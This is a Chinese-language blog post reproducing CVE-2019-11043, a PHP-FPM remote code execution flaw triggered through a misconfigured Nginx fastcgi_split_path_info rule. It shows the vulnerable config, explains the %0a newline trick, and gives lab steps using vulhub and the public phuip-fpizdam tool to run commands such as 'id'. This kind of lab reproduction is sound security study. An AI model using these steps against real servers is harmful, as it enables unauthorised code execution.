【漏洞复现】PHP远程代码执行漏洞( CVE-2019-11043)
·
漏洞复现
PHP远程代码执行漏洞复现
一、漏洞概述
向目标服务器 URL 发送 %0a 符号时,服务返回异常,疑似存在漏洞。在使用一些有错误的Nginx配置的情况下,通过恶意构造的数据包,即可让PHP-FPM执行任意代码。
location ~ [^/]\.php(/|$) {
...
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9000;
...
}
攻击者可以使用换行符(%0a)来破坏fastcgi_split_path_info指令中的正则表达式,正则表达式被破坏导致PATH_INFO为空,从而触发该漏洞。
二、漏洞复现
- 使用vulhub中CVE-2019-11043的环境进行搭建
https://vulhub.org/#/environments/php/CVE-2019-11043/
目录:php/CVE-2019-11043
开启nginx和php:

访问靶场的80端口:

- 使用https://github.com/neex/phuip-fpizdam中给出的工具,发送数据包
git clone https://github.com/neex/phuip-fpizdam.git
cd phuip-fpizdam
# 安装漏洞利用工具,需要go环境
go get -v && go build

- 漏洞利用
使用该工具执行命令:go run . "http://your-ip:8080/index.php",然后访问 http://your-ip:8080/index.php?a=id,即可查看到命令已成功执行


url 中空格不影响命令执行:

更多推荐
所有评论(0)